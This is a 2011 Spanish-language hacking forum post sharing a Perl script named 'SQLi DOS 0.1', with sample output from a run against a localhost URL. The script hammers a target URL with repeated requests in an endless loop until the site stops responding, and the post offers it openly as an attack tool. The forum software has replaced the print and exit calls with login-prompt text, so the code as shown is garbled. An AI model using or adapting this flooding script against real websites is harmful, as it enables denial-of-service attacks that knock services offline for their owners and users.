send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Perl] SQLi DOS 0.1

  • 0 Respuestas
  • 705 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 544
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Julio 03, 2011, 10:04:40 pm »
Un simple Dos para SQLi

Código: Perl
  1. #!usr/bin/perl
  2. #SQLi Dos 0.1 (C) Doddy Hackman 2011
  3.  
  4. use LWP::UserAgent;
  5.  
  6. my $nave = LWP::UserAgent->new;
  7. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  8. $nave->timeout(5);
  9.  
  10. head();
  11. if($ARGV[0]) {
  12. now($ARGV[0]);
  13. } else {
  14. sintax();
  15. }
  16. copyright();
  17.  
  18. sub now {
  19. You are not allowed to view links. Register or Login "\n[+] Target : ".$_[0]."\n";
  20. You are not allowed to view links. Register or Login "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
  21. while(true) {
  22. $SIG{INT} = \&adios;
  23. $code = toma($_[0]."zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz");
  24. unless($code->is_success) {
  25. You are not allowed to view links. Register or Login "[+] Web Off";
  26. copyright();
  27. }}}
  28.  
  29. sub adios {
  30. You are not allowed to view links. Register or Login "\n[+] Stoping attack\n";
  31. copyright();
  32. }
  33.  
  34. sub head {
  35. You are not allowed to view links. Register or Login "\n\n-- == SQLI Dos 0.1 == --\n\n";
  36. }
  37.  
  38. sub copyright {
  39. You are not allowed to view links. Register or Login "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
  40. You are not allowed to view links. Register or Login(1);
  41. }
  42.  
  43. sub sintax {
  44. You are not allowed to view links. Register or Login "\n[+] Sintax : $0 <page>\n";
  45. }
  46.  
  47. sub toma {
  48. You are not allowed to view links. Register or Login $nave->get($_[0]);
  49. }
  50.  
  51. # ¿ The End ?
  52.  

Ejemplo de uso

Código: You are not allowed to view links. Register or Login
C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
SQLI Dos>sqlidos.pl http://localhost/sql.php?id=1


-- == SQLI Dos 0.1 == --


[+] Target : http://localhost/sql.php?id=1

[+] Starting the attack
[+] Info : control+c for stop attack


[+] Stoping attack


-- == (C) Doddy Hackman 2011 == --

« Última modificación: Julio 17, 2011, 03:40:25 am por Sthefano02 »

 

¿Te gustó el post? COMPARTILO!



Sqli Dorking

Iniciado por ZanGetsu

Respuestas: 1
Vistas: 1621
Último mensaje Agosto 31, 2013, 03:29:16 am
por hdbreaker
Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 2856
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1327
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 1474
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d
[Perl] Counter Strike 1.6 Servers List

Iniciado por BigBear

Respuestas: 0
Vistas: 1014
Último mensaje Noviembre 12, 2012, 07:32:11 pm
por BigBear